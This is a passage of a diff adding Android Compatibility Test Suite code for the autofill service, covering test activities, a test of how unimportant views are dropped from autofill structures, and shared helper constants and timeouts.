+        assertNumberOfChildren(fillRequest.structure, ID_DATE_PICKER, 0);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The end of the world");
+
+        // Check the results.
+        activity.assertAutoFilled();
+
+        // Trigger save.
+        activity.setDate(2010, 11, 12);
+        activity.tapOk();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertDateValue(findNodeByResourceId(saveRequest.structure, ID_DATE_PICKER), 2010, 11, 12);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "2010/11/12");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
new file mode 100644
index 0000000..a1f5bd9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class DummyActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        TextView text = new TextView(this);
+        text.setText("foo");
+        setContentView(text);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
new file mode 100644
index 0000000..1a64b8c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * Empty activity
+ */
+public class EmptyActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.empty);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
new file mode 100644
index 0000000..cf6471b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
+
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+import android.view.View;
+import android.widget.EditText;
+import android.widget.ImageView;
+
+/**
+ * An activity containing mostly widgets that should be removed from an auto-fill structure to
+ * optimize it.
+ */
+public class FatActivity extends AbstractAutoFillActivity {
+
+    static final String ID_CAPTCHA = "captcha";
+    static final String ID_INPUT = "input";
+    static final String ID_INPUT_CONTAINER = "input_container";
+    static final String ID_IMAGE = "image";
+    static final String ID_IMPORTANT_IMAGE = "important_image";
+
+    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "not_important_container_excluding_descendants";
+    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "not_important_container_excluding_descendants_child";
+    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_excluding_descendants_grand_child";
+
+    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "important_container_excluding_descendants";
+    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "important_container_excluding_descendants_child";
+    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "important_container_excluding_descendants_grand_child";
+
+    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS =
+            "not_important_container_mixed_descendants";
+    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD =
+            "not_important_container_mixed_descendants_child";
+    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_mixed_descendants_grand_child";
+
+    private EditText mCaptcha;
+    private EditText mInput;
+    private ImageView mImage;
+    private ImageView mImportantImage;
+
+    private View mNotImportantContainerExcludingDescendants;
+    private View mNotImportantContainerExcludingDescendantsChild;
+    private View mNotImportantContainerExcludingDescendantsGrandChild;
+
+    private View mImportantContainerExcludingDescendants;
+    private View mImportantContainerExcludingDescendantsChild;
+    private View mImportantContainerExcludingDescendantsGrandChild;
+
+    private View mNotImportantContainerMixedDescendants;
+    private View mNotImportantContainerMixedDescendantsChild;
+    private View mNotImportantContainerMixedDescendantsGrandChild;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fat_activity);
+
+        mCaptcha = findViewById(R.id.captcha);
+        mInput = findViewById(R.id.input);
+        mImage = findViewById(R.id.image);
+        mImportantImage = findViewById(R.id.important_image);
+
+        mNotImportantContainerExcludingDescendants = findViewById(
+                R.id.not_important_container_excluding_descendants);
+        mNotImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.not_important_container_excluding_descendants_child);
+        mNotImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.not_important_container_excluding_descendants_grand_child);
+
+        mImportantContainerExcludingDescendants = findViewById(
+                R.id.important_container_excluding_descendants);
+        mImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.important_container_excluding_descendants_child);
+        mImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.important_container_excluding_descendants_grand_child);
+
+        mNotImportantContainerMixedDescendants = findViewById(
+                R.id.not_important_container_mixed_descendants);
+        mNotImportantContainerMixedDescendantsChild = findViewById(
+                R.id.not_important_container_mixed_descendants_child);
+        mNotImportantContainerMixedDescendantsGrandChild = findViewById(
+                R.id.not_important_container_mixed_descendants_grand_child);
+
+        // Sanity check for importantForAutofill modes
+        assertThat(mInput.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mCaptcha.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImportantImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+
+        assertThat(mNotImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+        assertThat(mNotImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS);
+        assertThat(mImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mNotImportantContainerMixedDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mNotImportantContainerMixedDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerMixedDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+    }
+
+    /**
+     * Visits the {@code input} in the UiThread.
+     */
+    void onInput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> {
+            v.visit(mInput);
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
new file mode 100644
index 0000000..a2edf4d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.FatActivity.ID_CAPTCHA;
+import static android.autofillservice.cts.FatActivity.ID_IMAGE;
+import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_IMAGE;
+import static android.autofillservice.cts.FatActivity.ID_INPUT;
+import static android.autofillservice.cts.FatActivity.ID_INPUT_CONTAINER;
+import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.findNodeByText;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing useless auto-fill data that should be optimized out.
+ */
+public class FatActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<FatActivity> mActivityRule =
+        new ActivityTestRule<FatActivity>(FatActivity.class);
+
+    private FatActivity mFatActivity;
+
+    @Before
+    public void setActivity() {
+        mFatActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testNoContainers() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mFatActivity.onInput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // TODO: should only have 5 children, but there is an extra
+        // TextView that's probably coming from the title. For now we're just ignoring it, but
+        // ideally we should change the .xml to exclude it.
+        assertNumberOfChildren(fillRequest.structure, 8);
+
+        // Should not have ImageView...
+        assertThat(findNodeByResourceId(fillRequest.structure, ID_IMAGE)).isNull();
+
+        // ...unless app developer asked to:
+        assertThat(findNodeByResourceId(fillRequest.structure, ID_IMPORTANT_IMAGE)).isNotNull();
+
+        // Should have TextView, even if it does not have id.
+        assertThat(findNodeByText(fillRequest.structure, "Label with no ID")).isNotNull();
+
+        // Should not have EditText that was explicitly removed.
+        assertThat(findNodeByResourceId(fillRequest.structure, ID_CAPTCHA)).isNull();
+
+        // Make sure container with a resource id was included.
+        final ViewNode inputContainer =
+                findNodeByResourceId(fillRequest.structure, ID_INPUT_CONTAINER);
+        assertThat(inputContainer).isNotNull();
+        assertThat(inputContainer.getChildCount()).isEqualTo(1);
+        final ViewNode input = inputContainer.getChildAt(0);
+        assertThat(input.getIdEntry()).isEqualTo(ID_INPUT);
+
+        // Make sure a non-important container can exclude descendants
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS)).isNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD)).isNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD)).isNull();
+
+        // Make sure an important container can exclude descendants
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS)).isNotNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD)).isNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD)).isNull();
+
+        // Make sure an intermediary descendant can be excluded
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS)).isNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD)).isNotNull();
+        assertThat(findNodeByResourceId(fillRequest.structure,
+                ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD)).isNull();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
new file mode 100644
index 0000000..7be4496
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.annotation.Nullable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity containing an fragment
+ */
+public class FragmentContainerActivity extends AbstractAutoFillActivity {
+    static final String FRAGMENT_TAG =
+            FragmentContainerActivity.class.getName() + "#FRAGMENT_TAG";
+    private CountDownLatch mResumed = new CountDownLatch(1);
+    private CountDownLatch mStopped = new CountDownLatch(0);
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fragment_container);
+
+        // have to manually add fragment as we cannot remove it otherwise
+        getFragmentManager().beginTransaction().add(R.id.rootContainer,
+                new FragmentWithEditText(), FRAGMENT_TAG).commitNow();
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+
+        mStopped = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        mResumed.countDown();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        mResumed = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        mStopped.countDown();
+    }
+
+    public boolean waitUntilResumed() throws InterruptedException {
+        return mResumed.await(Helper.UI_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    public boolean waitUntilStopped() throws InterruptedException {
+        return mStopped.await(Helper.UI_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
new file mode 100644
index 0000000..ce05c2b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.Nullable;
+import android.app.Fragment;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+/**
+ * A fragment with containing {@link EditText}s
+ */
+public class FragmentWithEditText extends Fragment {
+    @Override
+    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_edittext, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
new file mode 100644
index 0000000..08ce94d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.app.Fragment;
+import android.os.Bundle;
+import android.support.annotation.Nullable;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+/**
+ * A fragment with containing more {@link EditText}s
+ */
+public class FragmentWithMoreEditTexts extends Fragment {
+    @Override
+    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_more_edittexts, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
new file mode 100644
index 0000000..d0b6730
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
+
+/**
+ * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
+ * {@code save} and {@code clear} buttons.
+ */
+public class GridActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "GridActivity";
+    private static final int N_ROWS = 4;
+    private static final int N_COLS = 2;
+
+    public static final String ID_L1C1 = getResourceId(1, 1);
+    public static final String ID_L1C2 = getResourceId(1, 2);
+    public static final String ID_L2C1 = getResourceId(2, 1);
+    public static final String ID_L2C2 = getResourceId(2, 2);
+    public static final String ID_L3C1 = getResourceId(3, 1);
+    public static final String ID_L3C2 = getResourceId(3, 2);
+    public static final String ID_L4C1 = getResourceId(4, 1);
+    public static final String ID_L4C2 = getResourceId(4, 2);
+
+    private final EditText[][] mCells = new EditText[4][2];
+    private Button mSaveButton;
+    private Button mClearButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.grid_activity);
+
+        mCells[0][0] = (EditText) findViewById(R.id.l1c1);
+        mCells[0][1] = (EditText) findViewById(R.id.l1c2);
+        mCells[1][0] = (EditText) findViewById(R.id.l2c1);
+        mCells[1][1] = (EditText) findViewById(R.id.l2c2);
+        mCells[2][0] = (EditText) findViewById(R.id.l3c1);
+        mCells[2][1] = (EditText) findViewById(R.id.l3c2);
+        mCells[3][0] = (EditText) findViewById(R.id.l4c1);
+        mCells[3][1] = (EditText) findViewById(R.id.l4c2);
+        mSaveButton = (Button) findViewById(R.id.save);
+        mClearButton = (Button) findViewById(R.id.clear);
+
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    void save() {
+        getSystemService(AutofillManager.class).commit();
+    }
+
+    void resetFields() {
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                mCells[i][j].setText("");
+            }
+        }
+        getSystemService(AutofillManager.class).cancel();
+    }
+
+    private EditText getCell(int row, int column) {
+        return mCells[row - 1][column - 1];
+    }
+
+    public static String getResourceId(int line, int col) {
+        return "l" + line + "c" + col;
+    }
+
+    public void onCell(int row, int column, Visitor<EditText> v) {
+        final EditText cell = getCell(row, column);
+        syncRunOnUiThread(() -> v.visit(cell));
+    }
+
+    public void focusCell(int row, int column) {
+        onCell(row, column, EditText::requestFocus);
+    }
+
+    public void clearCell(int row, int column) {
+        onCell(row, column, (c) -> c.setText(""));
+    }
+
+    public void setText(int row, int column, String text) {
+        onCell(row, column, (c) -> c.setText(text));
+    }
+
+    public void forceAutofill(int row, int column) {
+        onCell(row, column, (c) -> getAutofillManager().requestAutofill(c));
+    }
+
+    public void triggerAutofill(boolean manually, int row, int column) {
+        if (manually) {
+            forceAutofill(row, column);
+        } else {
+            focusCell(row, column);
+        }
+    }
+
+    public String getText(int row, int column) throws InterruptedException {
+        final BlockingQueue<String> queue = new LinkedBlockingQueue<>(1);
+        onCell(row, column, (c) -> queue.offer(c.getText().toString()));
+        final String text = queue.poll(100, TimeUnit.MILLISECONDS);
+        if (text == null) {
+            throw new RetryableException("text not set in 100ms");
+        }
+        return text;
+    }
+
+    public FillExpectation expectAutofill() {
+        return new FillExpectation();
+    }
+
+    public void dumpCells() {
+        final StringBuilder output = new StringBuilder("dumpCells():\n");
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                final String id = getResourceId(i + 1, j + 1);
+                final String value = mCells[i][j].getText().toString();
+                output.append('\t').append(id).append("='").append(value).append("'\n");
+            }
+        }
+        Log.d(TAG, output.toString());
+    }
+
+    final class FillExpectation {
+
+        private final ArrayList<OneTimeTextWatcher> mWatchers = new ArrayList<>();
+
+        public FillExpectation onCell(int line, int col, String value) {
+            final String resourceId = getResourceId(line, col);
+            final EditText cell = getCell(line, col);
+            final OneTimeTextWatcher watcher = new OneTimeTextWatcher(resourceId, cell, value);
+            mWatchers.add(watcher);
+            cell.addTextChangedListener(watcher);
+            return this;
+        }
+
+        public void assertAutoFilled() throws Exception {
+            try {
+                for (int i = 0; i < mWatchers.size(); i++) {
+                    final OneTimeTextWatcher watcher = mWatchers.get(i);
+                    watcher.assertAutoFilled();
+                }
+            } catch (AssertionError | Exception e) {
+                dumpCells();
+                throw e;
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
new file mode 100644
index 0000000..cf383a1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -0,0 +1,701 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.app.assist.AssistStructure.WindowNode;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.icu.util.Calendar;
+import android.os.UserManager;
+import android.service.autofill.FillContext;
+import android.support.annotation.NonNull;
+import android.support.test.InstrumentationRegistry;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.List;
+import java.util.function.Function;
+
+/**
+ * Helper for common funcionalities.
+ */
+final class Helper {
+
+    private static final String TAG = "AutoFillCtsHelper";
+
+    // TODO: should static import Settings.Secure instead, but that's not a @TestApi
+    private static String USER_SETUP_COMPLETE = "user_setup_complete";
+
+    static final boolean VERBOSE = false;
+
+    static final String ID_USERNAME_LABEL = "username_label";
+    static final String ID_USERNAME = "username";
+    static final String ID_PASSWORD_LABEL = "password_label";
+    static final String ID_PASSWORD = "password";
+    static final String ID_LOGIN = "login";
+    static final String ID_OUTPUT = "output";
+
+    /** Pass to {@link #setOrientation(int)} to change the display to portrait mode */
+    public static int PORTRAIT = 0;
+
+    /** Pass to {@link #setOrientation(int)} to change the display to landscape mode */
+    public static int LANDSCAPE = 1;
+
+    /**
+     * Timeout (in milliseconds) until framework binds / unbinds from service.
+     */
+    static final long CONNECTION_TIMEOUT_MS = 2000;
+
+    /**
+     * Timeout (in milliseconds) until framework unbinds from a service.
+     */
+    static final long IDLE_UNBIND_TIMEOUT_MS = 5000;
+
+    /**
+     * Timeout (in milliseconds) for expected auto-fill requests.
+     */
+    static final long FILL_TIMEOUT_MS = 2000;
+
+    /**
+     * Timeout (in milliseconds) for expected save requests.
+     */
+    static final long SAVE_TIMEOUT_MS = 5000;
+
+    /**
+     * Time to wait if a UI change is not expected
+     */
+    static final long NOT_SHOWING_TIMEOUT_MS = 500;
+
+    /**
+     * Timeout (in milliseconds) for UI operations. Typically used by {@link UiBot}.
+     */
+    static final int UI_TIMEOUT_MS = 2000;
+
+    /**
+     * Time to wait in between retries
+     */
+    static final int RETRY_MS = 100;
+
+    private final static String ACCELLEROMETER_CHANGE =
+            "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
+                    + "--bind value:i:%d";
+    private final static String ORIENTATION_CHANGE =
